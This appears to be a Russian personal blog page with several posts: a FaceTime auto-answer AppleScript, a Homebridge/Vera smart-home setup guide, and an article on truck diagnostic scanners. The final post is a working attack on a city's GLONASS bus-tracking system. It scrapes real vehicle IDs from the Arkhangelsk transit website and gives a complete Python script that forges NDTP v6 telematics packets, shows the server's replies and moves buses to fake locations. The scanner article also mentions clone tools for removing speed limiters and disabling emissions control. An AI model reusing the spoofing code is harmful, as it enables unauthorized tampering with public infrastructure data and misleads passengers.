Эгея досвидания

Эгея досвидания

У Бирмана крутой движок, респект ему и уважуха. Но!

Я люблю Python, Django и Яблоки

...и держать пых с мускулом ради одного творения, как-то уже порядком надоело. Хотя... от Эгеи кое-что стырил. Прижилось оно в некоторых местах. Ах, да! Ещё китайцев люблю. Только, это уже совсем другя история:)

Разное

нет комментариев

FaceTime в пустоту

FaceTime в пустоту

Так, это надо не потерять. Давно хотел запилить автоответчик для FaceTime на Маке... Хардкорный AppleScript для старта, как раз на поиграться:)
Логика примерно такая: поступает входящий, ждём 10сек., берём трубку, мьютим микрофон, через 10сек. ложим трубку... и стараемся не крешится, если соединение закроется раньше времени. Остальное костыли.

repeat
    tell application "System Events" to set theCount to the count of (processes whose name is "Facetime")
    if theCount = 0 then
        do shell script "sleep 1"
    else
        do shell script "sleep 2"
        tell application "FaceTime" to activate
        tell application "System Events" to tell process "FaceTime"
            if name of front window contains "with" then
                do shell script "sleep 5"
                click button "Accept" of window 1
                do shell script "sleep 2"
                try
                    click checkbox "Mute" of window 1
                end try
                do shell script "sleep 10"
                try
                    click button "End" of window 1
                end try
            else
                tell application "System Events" to activate application "FaceTime"
                keystroke return
                do shell script "sleep 5"
                tell application "System Events" to tell process "FaceTime"
                    if name of front window contains "with" then
                        do shell script "sleep 5"
                    else
                        tell application "FaceTime" to quit
                        do shell script "sleep 5"
                    end if
                end tell
            end if
        end tell
    end if
end repeat

Apple

нет комментариев

Умный дом на Яблоках, Siri and Z-Wave

Умный дом на Яблоках: Siri and Z-Wave

Дано: центр управления системами Z-Wave - контроллер Vera, OS X El Capitan или macOS Sierra, iOS 8.1 и выше.

Задача: заставить Siri управлять умным домом.

Странно что Vera ничего не знает про HomeKit, хотя, казалось бы... потребуется некий проксирующий элемент, чтобы эмулировать API яблочного хозяйства.
В качестве моста возьмём NodeJS сервер HomeBridge с плагином VeraLink. Ok... Запускаем Терминал.app и начинаем городить огород:)

Сейчас будет гайд для «маленьких».

Cкачиваем текущую версию Node.js (на данный момент - 6.2.2),

$ cd ~
$ curl -o ~/Downloads/node-v6.2.2.pkg https://nodejs.org/dist/v6.2.2/node-v6.2.2.pkg

устанавливаем,

$ sudo installer -pkg ~/Downloads/node-v6.2.2.pkg -target /

проверяем,

$ node -v

если в ответ получили: «v6.2.2», - значит всё хорошо, двигаемся дальше.

Через нодовский менеджер пакетов ставим Homebridge,

$ sudo npm install -g homebridge

плагин VeraLink,

$ sudo npm install -g homebridge-vera

создаём конфигурационный файл для Homebridge

$ mkdir ~/.homebridge
$ touch ~/.homebridge/config.json

и добавляем в него

$ nano ~/.homebridge/config.json

примерно такое содержание:

{
    "bridge": {
        "name": "Homebridge",
        "pin": "000-00-000",
        "username": "CC:22:3D:E3:CE:30"
    },
    "platforms": [
        {
            "platform": "Vera",
            "name": "Vera",
            "veraIP": "192.168.1.2",
            "includesensor": true,
            "ignorerooms": [],
            "securitypoll": 2000,
            "dimmertest": true
        }
    ]
}

проверяем...

$ homebridge

Если нет никаких ошибок, в ответ должны увидеть пин-код, список комнат и список девайсов, которые прописаны в контроллере.
Ок. Глушим сервер - CTRL+C.

Осталось добавить всё это дело в «автозагрузку».

Создаём плист

$ nano ~/Library/LaunchAgents/com.homebridge.server.plist

с примерно таким содержанием:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>Label</key>
    <string>com.homebridge.server</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/bin/homebridge</string>
        <string>-I</string>
    </array>
    <key>EnvironmentVariables</key>
    <dict>
            <key>PATH</key>
            <string>/usr/local/bin/:$PATH</string>
    </dict>
</dict>
</plist>

Теперь сервер будет подниматься автоматически, при условии, что текущий пользователь залогинится после ребута системы.

Back-end готов. Запускаем Homebridge...

$ launchctl load ~/Library/LaunchAgents/com.homebridge.server.plist

Чтобы Siri начала мониторить сеть на предмет умных девайсов, в iOS 10 достаточно добавить устройство Homebridge в приложении Home. После чего подтянется всё, что привязано к контроллеру Vera. Для iOS 8 и 9 нужно скачать из App Store любой HomeKit Hub, например, Insteon+ и добавить устройство Homebridge через него.

З.Ы.
Для русской Siri имена комнат, устройств, сцен должны быть прописаны кириллицей, иначе, не поймёт.

Apple HomeKit

нет комментариев

Диагностика ТС, вводная часть

Диагностика ТС, вводная часть

Сканеры для диагностики коммерческого транспорта можно условно разделить на:

  • дилерские (OE - Original Equipment) – это приборы, разрабатываемые по техническим заданиям и при непосредственном участии изготовителей транспортных средств. Примеры: Mercedes-Benz SD Connect 4, MAN T200, SCANIA VCI 3, Volvo Truck Vocom, Renault Truck NG10, Iveco EASY, DAF DAVIE XDc II и др.;

  • системные (OEM - Original Equipment Manufacturer) – это приборы, разрабатываемые по техническим заданиям и при непосредственном участии изготовителей систем и агрегатов для транспортных средств. Примеры: WABCO Diagnostic Interface 2, Knorr-Bremse UDIF, HALDEX Diagnostic Interface, ZF TESTMAN Pro, WEBASTO Thermo Test, EBERSPAECHER ISO-adapter, Cummins Inline 6 и др.;

  • мультимарочные (Multibrand Equipment) – это приборы независимых разработчиков, которые создаются путем реинжиниринга отдельных функций нескольких дилерских и системных сканеров. Примеры: AUTOCOM CDP Pro Trucks, JALTEST Link Truck, BOSCH KTS Truck, TEXA Navigator TXTs Truck, AKTIA Multi-Diag Trucks, WABCO-WUERTH EASY Truck и др.;

  • клоны (Cloned/Copied Equipment) – это приборы-копии дилерских, системных и мультимарочных сканеров. Клоны изготавливаются независимыми компаниями.

Дилерские сканеры позволяют выполнять функции, которые изготовители транспортных средств предоставляют для дилерских сервисных станций: чтение и удаление ошибок из блоков управления, чтение параметров блоков управления, выполнение тестов, активаций, адаптаций, а также параметрирование и программирование. Ряд функций выполняется при одновременном подключении дилерского сканера к блоку управления на автомобиле и к серверу технической поддержки изготовителя автомобиля через Интернет.

Системные сканеры позволяют выполнять функции, которые изготовители систем и агрегатов предоставляют для сервисных станций: чтение и удаление ошибок из блоков управления, чтение параметров блоков управления, выполнение тестов, активаций, адаптаций, а также параметрирование. Системные сканеры могут подключаться только к блокам управления систем и агрегатов тех же изготовителей: сканер WABCO может подключаться только к блокам управления систем WABCO, сканер HALDEX может подключаться только к блокам управления систем HALDEX, сканер ZF может подключаться только к блокам управления агрегатов ZF, и т.д. Одни производители систем и агрегатов могут быть поставщиками компонентов для других производителей систем и агрегатов. К примеру, фирма WABCO изготавливает блоки управления для автоматических коробок передач AS-Tronic фирмы ZF. К этим блокам управления можно подключится системным сканером изготовителя агрегата – ZF, но нельзя подключиться системным сканером изготовителя блока управления – WABCO, т.к. фирма WABCO не предоставляет сервисным станциям программное обеспечение для диагностики этих блоков управления. Т.е. для диагностики систем и агрегатов приоритетным является системный сканер изготовителя системы или агрегата, а не изготовителя блока управления для этой системы или агрегата.

Изготовители систем и агрегатов для транспортных средств используют системные сканеры для программирования, параметрирования, тестирования блоков управления во время разработки, испытаний и при введении в эксплуатацию (EOL - End of line). Производители систем и агрегатов предоставляют системные сканеры производителям транспортных средств для адаптации систем и агрегатов. Программное обеспечение системных сканеров, которые предоставляются сервисным станциям, имеет функциональные ограничения по сравнению с программным обеспечением системных сканеров, которое используют изготовители систем и агрегатов.

Функциональные возможности дилерских и системных сканеров различаются. Дилерские сканеры могут использовать как протоколы передачи данных системных сканеров, так и свои собственные. Производители транспортных средств, как правило, повышают функциональные возможности программного обеспечения дилерских сканеров по отношению к системным сканерам: увеличивается количества тестов, активаций, адаптаций, изменяемых параметров. Однако, в некоторых случаях производители транспортных средств ограничивают функциональные возможности дилерских сканеров по отношению к системным сканерам. Например, дилерские сканеры Volvo Truck и Renault Truck позволяют ввести в эксплуатацию блок подготовки воздуха APU только при подключении к серверу технической поддержки изготовителя транспортного средства через Интернет, в то же время системный сканер Knorr-Bremse может выполнить эту операцию самостоятельно; системный сканер ZF позволяет выполнить необходимые тесты и подготовить данные для анализа работы автоматических коробок передач ZF на транспортных средствах, в то время как дилерские сканеры MAN и DAF не обладают таким функционалом.

В большинстве случаев, для поиска и устранения неисправностей на транспортных средствах достаточно возможностей дилерских сканеров. Однако, в ряде случаев, необходимо использовать системные сканеры. Например, если изготовитель транспортного средства DAF устанавливает на грузовой автомобиль двигатель Cummins, то для дилерский сканер DAF не может быть использован для подключения к блоку управления этого двигателя; необходимо использовать системный сканер Cummins. Дилерский сканер MAN не позволяет подключиться к блоку управления модульной системы управления дверями MTS на автобусах MAN; для этого необходимо использовать системный сканер WABCO. Иногда на грузовых автомобилях может возникать несогласованность в работе двигателя и автоматической коробки передач ZF. Определить причину такой неисправности можно при помощи тестов, которые может провести только системный сканер ZF. Дилерские сканеры не могут подключаться к блокам управления автономных отопителей WEBASTO и EBERSPAECHER, которые были установлены не изготовителем автомобиля, а отдельно - на сервисной станции; для подключения к таким отопителям необходимы системные сканеры WEBASTO и EBERSPAECHER.

Для прицепов и полуприцепов системные сканеры WABCO, Knorr-Bremse и HALDEX, по сути, являются дилерскими сканерами. Производители прицепов и полуприцепов не имеют собственных дилерских сканеров. Для диагностики систем управления тормозами ABS, TEBS, подвеской TECAS, ELC, чтения данных протокола ODR необходимо использовать системный сканер того производителя, система которого установлена на прицепе или полуприцепе. Программное обеспечение системных сканеров WABCO, Knorr-Bremse и HALDEX для систем прицепов и полуприцепов обладает расширенным функционалом. К примеру, при помощи этих системных сканеров возможно выполнить параметрирование тормозного расчета прицепа или полуприцепа.

Что касается отечественных (российских и белорусских) производителей транспортных средств, то они не имеют дилерских сканеров. Для диагностики каждой системы или агрегата на отечественном транспортном средстве необходимо использовать соответствующий системный сканер. Например, для диагностики двигателей Cummins на грузовых автомобилях КаМАЗ и ГАЗ необходимо использовать системный сканер Cummins. Для диагностики двигателей Mercedes-Benz на грузовых автомобилях КаМАЗ и МАЗ необходимо использовать дилерский сканер Mercedes-Benz. Для диагностики антиблокировочной системы ABS WABCO, противобуксовочной системы ASR WABCO и электронно-пневматической системы управления подвеской ECAS WABCO на автомобилях КаМАЗ, УралАЗ и МАЗ необходимо использовать системный сканер WABCO. Для диагностики ABS Knorr-Bremse на грузовых автомобилях КаМАЗ и ГАЗ необходимо использовать системный сканер Knorr-Bremse. Для диагностики двигателей MAN на автобусах ЛиАЗ и МАЗ и систем управления узлом сочленения HUBNER, необходимо использовать, соответственно дилерский сканер MAN и системный сканер HUBNER. Другими словами, для диагностики каждой отдельной системы или агрегата на отечественном транспортном средстве нужно использовать соответствующий дилерский или системный сканер.

Мультимарочные сканеры могут выполнять отдельные функции дилерских и системных сканеров для транспортных средств, систем и агрегатов различных производителей. Однако, мультимарочные сканеры существенно уступают дилерским и системным сканерам в функциональности. Преимущество мультимарочных сканеров заключается в том, что одним прибором можно подключаться к различным блокам управления на различных транспортных средствах. Однако не во всех случаях такое подключение возможно и не во всех случаях такое подключение выполняется корректно. Мультимарочные сканеры могут неверно определять и интерпретировать ошибки в блоках управления, могут некорректно считывать и интерпретировать параметры, могут некорректно проводить и интерпретировать тесты. Наиболее опасным является некорректное параметрирование, выполненное при помощи мультимарочного сканера. После некорректного параметрирования, система или агрегат (ECAS, TEBS, As-Tronic и др.) на транспортном средстве могут оказаться неработоспособными. Исправить ошибку некорректного параметрирования возможно, как правило, только при помощи соответствующего дилерского или системного сканера.
Программное обеспечение мультимарочных сканеров адаптировано только под часть моделей транспортных средств и не учитывает все версии прошивок (программного обеспечения) блоков управления систем и агрегатов. Из-за этого возникают ошибки при подключении, диагностике, параметрировании. Кроме того, прошивки блоков управления транспортных средств могут обновляться дилерскими или системными сканерами, если производитель транспортного средства, системы или агрегата выпустит новую версию программного обеспечения для соответствующего блока управления. Для корректного подключения к блокам управления систем и агрегатов, у которых было обновлено программное обеспечение, может потребоваться новое программное обеспечение сканера. Обновление программного обеспечения для дилерских и системных сканеров выпускается одновременнос с выпуском новых прошивок (программ) для блоков управления систем и агрегатов. Однако, программное обеспечение мультимарочных сканеров, во многих случаях, не учитывает обновления прошивок блоков управления.

Сканеры-клоны используют программное обеспечение оригинальных сканеров. В отличие от дилерских сканеров, как правило, сканеры-клоны не имеют возможности подключаться к серверам технической поддержки производителей транспортных средств и не могут выполнять операции при помощи этих серверов. Однако сканеры-клоны могут быть использованы со специальным инженерным программным обеспечением, существенно расширяющим возможности дилерского программного обеспечения в части снятия ограничений по программированию и параметрированию блоков управления: изменение ограничения скорости транспортного средства, деактивация системы снижения токсичности отработавших газов SCR Denoxtronic (AdBlue), замена блока управления иммобилайзера Immo и т.д. Инженерное программное обеспечение предоставляется изготовителями автомобилей дилерским сервисным станциям с особыми полномочиями, например, для выполнения аварийно-спасательных работ на местности, где невозможно подключение к серверу технической поддержки изготовителя автомобиля. Обычным дилерским срвисным станциям инженерное программное обеспечение, как правило, не предоставляется.
Для сканера-клона Mercedes-Benz может быть применено инженерное программное обеспечение Fdoc, Vedoc, EOL; для MAN – MAN Code Calculator; для Scania – SOPS, XCOM, CDEV; для Volvo Trucks – DevTool, Premium Tech Tool; для Iveco – Iveco Alphanumeric Code Calculator; для DAF – Devic Developer Tool; для Renault Trucks – Premium Tech Tool.

Среди мультимарочных сканеров-клонов, наибольшее распространение получил сканер-клон AUTOCOM CDP Pro Trucks, обладающий приемлемым функционалом мультимарочного сканера и доступной ценой, которая на порядок меньше цен на аналогичные оригинальные мультимарочные сканеры. Однако независимые изготовители сканера-клона AUTOCOM CDP Pro Trucks выпускают диагностические кабели для него, у которых часто бывают некорректные распиновки. Кабели с некорректными распиновки для сканера-клона AUTOCOM CDP Pro Trucks необходимо перепаивать, чтобы этот сканер можно было подключить к блокам управления на транспортных средствах (схемы корректных распиновок диагностических кабелей для сканера-клона AUTOCOM CDP Pro Trucks можно найти в свободном доступе в Интернет, в том числе на форуме www.truck-diagnost.com).

Выводы:

  1. Для диагностики транспортных средств, лучший вариант – использование оригинальных дилерских и/или системных сканеров.

  2. При невозможности использования оригинальных дилерских и/или системных сканеров (по экономическим или техническим причинам), возможно использование клонов дилерских и/или системных сканеров практически без потери функциональности.

  3. Использование мультимарочных сканеров имеет смысл, если качество выполнения диагностических работ и функциональность сканера не являются приоритетными.

Оригинал статьи: http://forum.adact.ru/

Авто

нет комментариев

Обходим ГЛОНАСС контроль, перелётные автобусы

Обходим ГЛОНАСС контроль: перелётные автобусы

Задача простая: переместить автобусы из центра Архангельска на остров Кего в Новый рабочий посёлок. Странно да?:) Ничего личного, просто, ради эксперимента. Грин бы обрадовался.

План действий: прикидываемся навигаторами, подключаемся к архангельскому ЦОД, создаём паразитный трафик, смотрим на клиенте, что получается.

В качестве клиента будем использовать сайт МУП «АППП», для наглядности. IP адрес и порт ЦОДа достаём из навигатора. Протокол подделывать умеем (см. ниже). Осталось где-то взять идентификаторы устройств, которые привязаны к конкретному серверу сбора данных.

Можно, конечно, перебрать диапазон айдишников от 000000 до 999999, но это как-то много. Берём помощь зала:)
Идём на appp29.ru, смотрим, в каком виде прилетают данные.

{
    "id": "1020272",
    "lon": 40503715,
    "lat": 64586676,
    "dir": 267,
    "speed": 22,
    "lasttime": "01.03.2016 12:31:34",
    "gos_num": "",
    "rid": 13,
    "rnum": "6",
    "rtype": "А",
    "anim_key": 40933,
    "big_jump": "0",
    "anim_points": []
}, {
    "id": "1023105",
    "lon": 40574751,
    "lat": 64534087,
    "dir": 280,
    "speed": 0,
    "lasttime": "01.03.2016 12:31:33",
    "gos_num": "",
    "rid": 37,
    "rnum": "62",
    "rtype": "А",
    "anim_key": 40934,
    "big_jump": "0",
    "anim_points": []
}

Вообще, передавать ID устройств в голом виде - минус, который следует занести в карму ИП Кандрахина, но для нас "id": "1023105" - подарок судьбы, не иначе:)

Плохо помню код из предыдущих серий, по-этому, спарсим айдишники и выберем шестизнаки, они точно отработают.

import json
import urllib2


def get_unit():
    """
    Собираем ID с http://appp29.ru/php/getVehiclesMarkers.php,
    выбираем шестизнаки, отдаём кортеж с айдишниками.
    """
    url = 'http://appp29.ru/php/getVehiclesMarkers.php?rids=8-0,9-0,85-0,86-0,99-0,10-0,11-0,55-0,56-0,53-0,54-0,12-0,13-0,21-0,22-0,23-0,24-0,25-0,26-0,57-0,58-0,59-0,60-0,61-0,62-0,7-0,63-0,64-0,65-0,66-0,67-0,14-0,16-0,68-0,69-0,3-0,4-0,91-0,92-0,70-0,71-0,95-0,96-0,87-0,88-0,74-0,75-0,76-0,77-0,17-0,18-0,19-0,20-0,1-0,2-0,28-0,29-0,5-0,6-0,31-0,30-0,32-0,33-0,34-0,35-0,36-0,37-0,38-0,39-0,82-0,83-0,40-0,41-0,42-0,43-0,45-0,46-0,47-0,48-0,80-0,81-0,84-0,79-0,97-0,98-0,89-0,90-0,49-0,50-0,51-0,52-0,93-0,94-0&lat0=0&lng0=0&lat1=90&lng1=180&curk=40931&city=arhangelsk&info=0123'
    response = urllib2.urlopen(url)
    data = json.load(response)['anims']
    unit_id = ()

    for dt in data:
        if len(dt['id']) == 6:
            unit_id += (int(dt['id']), )

    return unit_id


if __name__ == '__main__':
    print get_unit()

Получим такую картину:

(123498, 144930, 145012, 123461, 137027, 136415, 141682, 123378, 145032, 121792, 123219, 143855, 137135, 126979, 143809, 136265, 121779, 123369, 123248, 143781, 126864, 121722, 143661, 140909, 143719, 121589, 143803, 143806, 141058, 143761, 123463, 122721, 140938, 121852, 121542, 141710, 144932, 145076, 121770, 144934, 126942, 145062, 145054, 136256, 121945, 145038, 123370, 143807, 145099, 124498, 144926, 136623, 121673, 141402, 123379, 143875, 126977, 141292, 123428, 137021, 145060, 144928, 145090, 123388, 121526, 143872, 123561, 122856, 141638, 142061, 122765, 121706, 143709, 121490, 123397, 141052, 137010, 126776, 145052, 126662, 141247, 141249, 121484, 121507, 137008, 136454, 136262, 144959, 126830, 126884, 141064)

Отлично, осталось подготовить географические данные.

Для простоты эксперимента, координаты Нового рабочего посёлка в Кегострове будем раздавать рандомно:

import random


def get_coordinates():
    """ ГСЧ без наворотов """
    position_x = random.randint(403901290, 403977600)
    position_y = random.randint(645401940, 645429430)

    return {'position_x': position_x, 'position_y': position_y}

Собираем всё в кучу.
Если по уму, так кодить нельзя в современном мире, цэ хардкор в стиле тру хацкер. Да, и не забываем про NPH_SND_REALTIME, здесь он изменён на NPH_SND_HISTORY.

# -*- coding: utf-8 -*-
"""
    Fucking ndtp-v6
    ===============

    author Dmitriy Def

"""

import binascii
import json
import random
import socket
import time
import urllib2
from datetime import datetime, timedelta
from textwrap import wrap


def calc_byte(char, crc):
    table = (
        0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241,
        0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440,
        0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40,
        0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 0x09C0, 0x0880, 0xC841,
        0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40,
        0x1E00, 0xDEC1, 0xDF81, 0x1F40, 0xDD01, 0x1DC0, 0x1C80, 0xDC41,
        0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641,
        0xD201, 0x12C0, 0x1380, 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040,
        0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240,
        0x3600, 0xF6C1, 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441,
        0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41,
        0xFA01, 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840,
        0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41,
        0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40,
        0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 0x2640,
        0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041,
        0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 0xA281, 0x6240,
        0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441,
        0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 0x6FC0, 0x6E80, 0xAE41,
        0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840,
        0x7800, 0xB8C1, 0xB981, 0x7940, 0xBB01, 0x7BC0, 0x7A80, 0xBA41,
        0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40,
        0xB401, 0x74C0, 0x7580, 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640,
        0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041,
        0x5000, 0x90C1, 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241,
        0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440,
        0x9C01, 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40,
        0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841,
        0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40,
        0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 0x8C41,
        0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641,
        0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 0x8081, 0x4040
    )

    if isinstance(char, str):
        byt = ord(char)
    else:
        byt = char

    crc = (crc >> 8) ^ table[(crc ^ byt) & 0xFF]

    return crc & 0xFFFF


def crc16(stng):
    """
    Контрольная сумма CRC-16 (Modbus).
    """
    crc = 0xFFFF
    stng = binascii.unhexlify(stng)
    for char in stng:
        crc = calc_byte(char, crc)
    stng = str(hex(crc))[2:]
    if len(stng) % 2 != 0:
        stng = '0' + stng

    return stng


def dec_to_reverse_hex(indec):
    """Принимаем десятичное значение, возвращаем обратный hex"""
    strng = str(hex(int(indec)))[2:]

    if len(strng) % 2 != 0:  # 71e -> 071e
        strng = '0' + strng

    strng = wrap(strng, 2)
    strng.reverse()

    return ''.join(strng)


def reverse_hex(instr):
    """Принимаем обратный hex, возвращаем десятичное значение"""
    instr = wrap(instr, 2)
    instr.reverse()

    return int(''.join(instr), 16)


def fake_ndtp(position_x, position_y, pack_id):
    """
    Возвращаем строку данных со своими параметрами,
    в формате ndtp_v6

        Длина: 97 байт

        7e7e 5200 0200 97d3 02 00000000 0000
        0100 6400 0100 01000000
        0000 71ea2855 7c17c017 5f337d26 e0 00 15 00 15 00 55 01af 00 06 00 1501
        0200000000000000000000000000000000000000 a8040100 16 01
        000008000200000000000801020000000000

    """
    gm_time = int(time.mktime((datetime.now()-timedelta(hours=0)).timetuple()))
    extra_dop = 224
    speed = 62
    average_speed = 21
    heading = random.randint(1, 360)
    altitude = 6
    satellites = 21
    odo_track = 66728
    gsm_power = 22
    gprs_state = 1

    data_crc = (
        '010064000100',  # 6400 - NPH_SND_HISTORY, от дурака
        dec_to_reverse_hex(pack_id).ljust(8, '0'),  # 70000000 -> 112
        '0000',
        dec_to_reverse_hex(gm_time).ljust(8, '0'),  # 77228852 -> unix time
        dec_to_reverse_hex(position_x).ljust(8, '0'),  # bcfab117 -> 397540028
        dec_to_reverse_hex(position_y).ljust(8, '0'),  # e7597926 -> 397540028
        dec_to_reverse_hex(extra_dop),  # e0 -> 224
        '00',
        dec_to_reverse_hex(speed),  # 09 -> 9
        '00',
        dec_to_reverse_hex(average_speed),  # 09 -> 9
        '00',
        dec_to_reverse_hex(heading),  # 63 -> 99
        '000000',
        dec_to_reverse_hex(altitude),  # 19 -> 25
        '00',
        dec_to_reverse_hex(satellites),  # 11 -> 17
        '010200000000000000000000000000000000000000',
        dec_to_reverse_hex(odo_track).ljust(6, '0'),  # a1f401 -> 128161
        '00',
        dec_to_reverse_hex(gsm_power),  # 15 -> 100
        dec_to_reverse_hex(gprs_state),  # 01 -> 1
        '000008000200000000000801020000000000',
    )

    data_full = (
        '7e7e52000200',
        str(crc16(''.join(data_crc))),  # bf7e
        '02000000000000',
        ''.join(data_crc)
    )

    return ''.join(data_full)


def fake_start_ndtp(devid):
    """
    Принимаем произвольный айдишник устройства,
    возвращаем строку данных в формате ndtp_v6 для первого запроса.
    """
    data_crc = (
        '00006400010000000000060002000200',
        dec_to_reverse_hex(devid),
        '000004000000000000'
    )
    data_full = (
        '7e7e1c000200',  # '7e7e1c000200',
        str(crc16(''.join(data_crc))),
        '02000000000000',
        ''.join(data_crc)
    )

    return ''.join(data_full)


def get_unit():
    """
    Собираем ID с http://appp29.ru/php/getVehiclesMarkers.php,
    выбираем шестизнаки, отдаём кортеж с айдишниками.
    """
    url = 'http://appp29.ru/php/getVehiclesMarkers.php?rids=9-0,8-0,86-0,85-0,99-0,11-0,10-0,56-0,55-0,53-0,54-0,12-0,13-0,21-0,22-0,24-0,23-0,25-0,26-0,57-0,58-0,61-0,62-0,59-0,60-0,63-0,7-0,65-0,64-0,67-0,66-0,14-0,16-0,69-0,68-0,4-0,3-0,92-0,91-0,71-0,70-0,95-0,96-0,87-0,88-0,75-0,74-0,76-0,77-0,17-0,18-0,20-0,19-0,2-0,1-0,28-0,29-0,5-0,6-0,31-0,30-0,32-0,33-0,35-0,34-0,37-0,36-0,39-0,38-0,83-0,82-0,40-0,41-0,43-0,42-0,45-0,46-0,48-0,47-0,81-0,80-0,84-0,79-0,98-0,97-0,89-0,90-0,49-0,50-0,52-0,51-0,94-0,93-0&lat0=0&lng0=0&lat1=90&lng1=180&curk=0&city=arhangelsk&info=0123'
    response = urllib2.urlopen(url)
    data = json.load(response)['anims']
    unit_id = ()

    for dt in data:
        if len(dt['id']) == 6:
            unit_id += (int(dt['id']), )

    return unit_id


def get_coordinates():
    """ ГСЧ без наворотов """
    position_x = random.randint(403901290, 403977600)
    position_y = random.randint(645401940, 645429430)

    return {
        'position_x': position_x,
        'position_y': position_y
    }


def airbus(pack_id, unit):
    """ Гнерим трафик """
    for unit_id in units:
        try:
            sock = socket.socket()
            sock.connect(('XXX.XXX.XX.XXX', 4900))
            sock.settimeout(2.0)
            sock.send(
                binascii.unhexlify(fake_start_ndtp(unit_id))
            )
            data = sock.recv(2048).encode('hex')
            if data:
                sock.send(binascii.unhexlify(fake_ndtp(
                    get_coordinates()['position_x'],
                    get_coordinates()['position_y'],
                    pack_id
                )))
                print 'DevID: %s\nInСonfirmFirst: %s' % (
                    unit_id,
                    data
                )
                print 'InСonfirmTwo: %s\n\n' % (sock.recv(2048).encode('hex'),)
        except socket.timeout:
            print u'\nNo data: %s\n' % unit_id

        sock.close()  # коннект не держим, сразу закрываемся


if __name__ == '__main__':
    i = 0
    units = get_unit()
    while i <= 100:  # тупо циклом
        pack_id = 2000 + i
        airbus(pack_id, units)
        i += 1

Запускаем. Смотрим на результат.

Так было.

В Багдаде всё спокойно.

ГЛОНАСС в действии. Кегостров атакован автобусами киборгами:)

А теперь не всё спокойно.

Круто!

... и вдогонку прилетают загадочные послания от сервера:

DevID: 137324
InСonfirmFirst: 7e7e0e00020001ab020000000001000000000000000000000000000000
InСonfirmTwo: 7e7e3e0202005e4a02000400000200050064000000010000000100008000000000010000003c4e4156534352207665723d312e303e3c49443e313c2f49443e3c46524f4d3e5345525645523c2f46524f4d3e3c544f3e555345523c2f544f3e3c545950453e51554552593c2f545950453e3c4d53472074696d653d3138303020747970653d6261636b67726f756e643e266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b303034266e6273703b266e6273703b33266e6273703b266e6273703b266e6273703bd6266e6273703b2b3033266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30383a3538266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703bccd0c2266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30393a3036266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703befebcbc5cdc8cdc0266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30393a3131266e6273703b266e6273703b3c6272202f3e3c2f4d53473e3c2f4e41565343523e

Ok. Расшифруем.

$ python
Python 2.7.10 (default, Oct 23 2015, 19:19:21)
